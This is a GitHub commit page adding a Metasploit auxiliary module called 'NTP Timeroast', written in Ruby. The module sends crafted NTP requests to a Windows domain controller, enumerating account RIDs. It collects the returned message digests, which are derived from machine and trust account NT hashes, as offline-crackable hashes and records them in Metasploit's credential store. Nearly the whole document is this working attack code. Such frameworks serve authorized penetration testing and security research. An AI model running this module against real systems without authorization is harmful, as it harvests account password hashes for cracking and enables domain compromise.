Skip to content

Commit 7692d31

Browse files
committed
Initial commit of the timeroast module
1 parent b4dc301 commit 7692d31

File tree

1 file changed

+146
-0
lines changed

1 file changed

+146
-0
lines changed
Lines changed: 146 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,146 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
include Msf::Auxiliary::Report
8+
include Msf::Auxiliary::Scanner
9+
include Msf::Exploit::Remote::Udp
10+
11+
def initialize(info = {})
12+
super(
13+
update_info(
14+
info,
15+
'Name' => 'NTP Timeroast',
16+
'Description' => %q{
17+
Windows authenticates NTP requests by calculating the message digest using the NT hash followed by the first
18+
48 bytes of the NTP message (all fields preceding the key ID). An attacker can abuse this to recover hashes
19+
that can be cracked offline for machine and trust accounts. The attacker must know the accounts RID, but
20+
because RIDs are sequential, they can easily be enumerated.
21+
},
22+
'Author' => [
23+
'Tom Tervoort',
24+
'Spencer McIntyre'
25+
],
26+
'License' => MSF_LICENSE,
27+
'References' => [
28+
['URL', 'https://github.com/SecuraBV/Timeroast/'],
29+
['URL', 'https://www.secura.com/uploads/whitepapers/Secura-WP-Timeroasting-v3.pdf']
30+
]
31+
)
32+
)
33+
register_options([
34+
OptIntRange.new('RIDS', [ true, 'The RIDs to enumerate (e.g. 1000-2000).' ]),
35+
OptInt.new('DELAY', [ true, 'The delay in milliseconds between attempts.', 20]),
36+
OptInt.new('TIMEOUT', [ true, 'The timeout in seconds to wait at the end for replies.', 5])
37+
])
38+
end
39+
40+
def validate
41+
super
42+
43+
errors = {}
44+
errors['DELAY'] = 'DELAY can not be negative.' if datastore['DELAY'].to_i < 0
45+
errors['TIMEOUT'] = 'TIMEOUT can not be negative.' if datastore['TIMEOUT'].to_i < 0
46+
raise ::Msf::OptionValidateError.new(errors) unless errors.empty?
47+
end
48+
49+
def build_ntp_probe(rid)
50+
probe = Rex::Proto::NTP::Header::NTPHeader.new
51+
probe.leap_indicator = 3
52+
probe.version_number = 3
53+
probe.mode = Rex::Proto::NTP::Mode::CLIENT
54+
probe.key_identifier = [rid].pack('L>').unpack1('L<') # NTP uses big endian but MS uses little endian for this one field
55+
probe.message_digest = Random.random_bytes(OpenSSL::Digest.new('MD5').digest_length).unpack('C*')
56+
probe
57+
end
58+
59+
def recv_response(timeout: 0)
60+
begin
61+
raw, = udp_sock.recvfrom(68, timeout) # 68 is always the number of bytes expected
62+
rescue ::Rex::SocketError, ::IOError
63+
return nil
64+
end
65+
66+
return nil if raw.empty?
67+
68+
Rex::Proto::NTP::Header::NTPHeader.read(raw)
69+
end
70+
71+
def run_host(_ip)
72+
connect_udp
73+
74+
delay = datastore['DELAY'].to_i
75+
pending = 0
76+
77+
Msf::OptIntRange.parse(datastore['RIDS']).each do |rid|
78+
vprint_status("Checking RID: #{rid}")
79+
probe = build_ntp_probe(rid)
80+
udp_sock.put(probe.to_binary_s)
81+
pending += 1
82+
83+
sleep(delay / 1000.0)
84+
85+
response = recv_response
86+
next unless response
87+
88+
process_response(response)
89+
pending -= 1
90+
end
91+
92+
return if pending == 0
93+
94+
print_status("Waiting on #{pending} pending responses...")
95+
remaining = 10
96+
while remaining > 0 && pending > 0
97+
response, elapsed_time = Rex::Stopwatch.elapsed_time do
98+
recv_response(timeout: remaining)
99+
end
100+
remaining -= elapsed_time
101+
next unless response
102+
103+
process_response(response)
104+
pending -= 1
105+
end
106+
ensure
107+
disconnect_udp
108+
end
109+
110+
def process_response(response)
111+
resp_rid = [response.key_identifier].pack('L<').unpack1('L>')
112+
message_digest = response.message_digest.pack('C*')
113+
salt = response.to_binary_s[0...response.offset_of(response.key_identifier)]
114+
hash = "$sntp-ms$#{message_digest.unpack1('H*')}$#{salt.unpack1('H*')}"
115+
116+
print_good("Hash for RID: #{resp_rid} - #{resp_rid}:#{hash}")
117+
report_hash(hash)
118+
end
119+
120+
def report_hash(hash)
121+
jtr_format = Metasploit::Framework::Hashes.identify_hash(hash)
122+
service_data = {
123+
address: rhost,
124+
port: rport,
125+
service_name: 'ntp',
126+
protocol: 'udp',
127+
workspace_id: myworkspace_id
128+
}
129+
credential_data = {
130+
module_fullname: fullname,
131+
origin_type: :service,
132+
private_data: hash,
133+
private_type: :nonreplayable_hash,
134+
jtr_format: jtr_format
135+
}.merge(service_data)
136+
137+
credential_core = create_credential(credential_data)
138+
139+
login_data = {
140+
core: credential_core,
141+
status: Metasploit::Model::Login::Status::UNTRIED
142+
}.merge(service_data)
143+
144+
create_credential_login(login_data)
145+
end
146+
end

0 commit comments

Comments
 (0)